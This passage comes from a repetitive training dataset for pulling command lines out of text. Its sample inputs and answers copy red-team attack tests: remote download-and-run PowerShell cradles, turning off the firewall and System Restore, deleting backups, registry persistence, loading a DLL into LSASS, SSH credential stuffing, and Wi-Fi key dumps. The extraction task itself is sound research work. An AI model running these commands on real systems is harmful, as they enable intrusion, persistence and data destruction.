Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves creating a registry entry in the Office Test location to execute a DLL on Office startup, with the following command that handles both 32-bit and 64-bit Office installations: $wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\"))  \n{\n  Write-Host \"64-bit Office\"\n  reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x64.dll\" /f       \n}\nelse{\n  Write-Host \"32-bit Office\"\n  reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x86.dll\" /f\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"; GCP Service Accounts serve as both an initial access vector and persistence mechanism when configured with these commands: gcloud config set project #{project-id}\ngcloud iam service-accounts create #{service-account-name}\ngcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}\n",
    "output": "{\"command_list\": [\"$wdApp = New-Object -COMObject \\\"Word.Application\\\"\\nif(-not $wdApp.path.contains(\\\"Program Files (x86)\\\"))  \\n{\\n  Write-Host \\\"64-bit Office\\\"\\n  reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Office test\\\\Special\\\\Perf\\\" /t REG_SZ /d \\\"PathToAtomicsFolder\\\\T1137.002\\\\bin\\\\officetest_x64.dll\\\" /f       \\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Office test\\\\Special\\\\Perf\\\" /t REG_SZ /d \\\"PathToAtomicsFolder\\\\T1137.002\\\\bin\\\\officetest_x86.dll\\\" /f\\n}\\nStop-Process -Name \\\"WinWord\\\" \\nStart-Process \\\"WinWord\\\"\\n\", \"gcloud config set project #{project-id}\\ngcloud iam service-accounts create #{service-account-name}\\ngcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate a file download via finger.exe, which defaults to localhost but can accept a custom argument for external servers, use the following command: finger base64_filedata@#{remote_host}. Note that testing on localhost won't establish a successful connection.; To download a file using the built-in Windows utility IMEWDBLD.exe, which will generate an error for invalid dictionary files, use the following command:\n$imewdbled = $env:SystemRoot + \"\\\\System32\\\\IME\\\\SHARED\\\\IMEWDBLD.exe\"\n& $imewdbled #{remote_url}\n\nThe downloaded files can be found in specific INetCache directories with randomized names.",
    "output": "{\"command_list\": [\"finger base64_filedata@#{remote_host}\\n\", \"$imewdbled = $env:SystemRoot + \\\"\\\\System32\\\\IME\\\\SHARED\\\\IMEWDBLD.exe\\\"\\n& $imewdbled #{remote_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Word document will trigger a dialogue box requiring user confirmation, then attempt to launch PowerShell with DDEAUTO for script execution, initiated by this command: start \"$PathToAtomicsFolder\\T1559.002\\bin\\DDE_Document.docx\"; To discover files on the file system and save the results, use the following command:\ndir /s c:\\ >> #{output_file}\ndir /s \"c:\\Documents and Settings\" >> #{output_file}\ndir /s \"c:\\Program Files\\\" >> #{output_file}\ndir \"%systemdrive%\\Users\\*.*\" >> #{output_file}\ndir \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*\" >> #{output_file}\ndir \"%userprofile%\\Desktop\\*.*\" >> #{output_file}\ntree /F >> #{output_file}\n",
    "output": "{\"command_list\": [\"start \\\"$PathToAtomicsFolder\\\\T1559.002\\\\bin\\\\DDE_Document.docx\\\"\\n\", \"dir /s c:\\\\ >> #{output_file}\\ndir /s \\\"c:\\\\Documents and Settings\\\" >> #{output_file}\\ndir /s \\\"c:\\\\Program Files\\\\\\\" >> #{output_file}\\ndir \\\"%systemdrive%\\\\Users\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\Desktop\\\\*.*\\\" >> #{output_file}\\ntree /F >> #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can start PowerUpSQL checks by executing the powerSQL function of WinPwn via this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowerSQL -noninteractive -consoleoutput; The Microsoft Defender Firewall can be disabled for the active profile with the command: netsh advfirewall set currentprofile state off. Warning: Remote access requires special attention since cleanup operations might restore firewall settings.",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowerSQL -noninteractive -consoleoutput\", \"netsh advfirewall set currentprofile state off\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic modifies an undocumented registry key to load an arbitrary DLL into LSASS, which can be achieved by running the following command: New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"#{dll_path}\"; To attempt SSH logins using credentials from a password dump, use the following command: cp \"$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt\" /tmp/\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\":\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\":\" -f1`@#{target_host};done",
    "output": "{\"command_list\": [\"New-ItemProperty -Path HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS -Name LsaDbExtPt -Value \\\"#{dll_path}\\\"\\n\", \"cp \\\"$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt\\\" /tmp/\\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\\\":\\\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\\\":\\\" -f1`@#{target_host};done\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This will execute a bash shell with a trap for SIGINT, which runs a script writing to /tmp/art-fish.txt, via the command: bash -c 'trap \"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\" SIGINT && kill -SIGINT $$'; Information about past Wi-Fi connections and their stored keys can be displayed by executing this command: netsh wlan show profile * key=clear",
    "output": "{\"command_list\": [\"bash -c 'trap \\\"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\\\" SIGINT && kill -SIGINT $$'\\n\", \"netsh wlan show profile * key=clear\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Numerous ransomware families employ this technique, which involves deleting the Windows systemstatebackup via the command: wbadmin delete systemstatebackup -keepVersions:0. Note that this may only work on server platforms with Windows Backup enabled.; The System Restore scheduled task can be disabled by executing this command: schtasks.exe /Change /TN \"\\Microsoft\\Windows\\SystemRestore\\SR\" /disable",
    "output": "{\"command_list\": [\"wbadmin delete systemstatebackup -keepVersions:0\\n\", \"schtasks.exe /Change /TN \\\"\\\\Microsoft\\\\Windows\\\\SystemRestore\\\\SR\\\" /disable\\n\"]}"
  },
  {
